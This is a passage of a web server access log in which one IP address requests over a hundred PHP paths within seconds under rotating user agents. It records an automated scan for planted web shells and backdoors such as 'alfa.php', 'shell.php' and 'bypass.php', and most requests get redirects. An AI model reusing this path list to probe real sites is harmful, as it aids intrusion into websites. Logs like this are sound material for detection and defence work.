HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:18 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:18 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:19 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:19 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:19 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:19 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:20 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:20 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:20 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:53:20 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:21 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:21 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:21 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:21 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:53:22 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:53:22 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:22 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:22 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:23 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:23 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:23 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:24 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:24 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:24 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:53:25 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:25 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:53:25 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:25 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:26 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:26 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:26 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:26 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:26 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:27 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:27 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:27 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:28 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:28 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:28 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:28 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:53:29 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:29 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:29 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:29 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:30 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:30 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:30 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:30 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:31 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:31 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:31 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:31 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:32 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:32 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:32 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:33 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:33 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:33 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:33 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:34 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:34 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:34 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:35 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:35 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:35 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:35 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:53:36 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:36 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:36 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:36 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:36 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:37 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:37 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:37 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:38 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:38 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:38 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:38 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:53:39 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:39 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:39 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:53:39 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:40 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:53:40 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:40 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:40 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:41 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:41 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:53:41 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:42 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:42 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:42 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:42 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:42 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:43 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:43 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:43 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:43 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:44 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:44 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:44 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:44 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:53:45 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:45 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:45 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:46 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:46 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:46 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:46 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:53:46 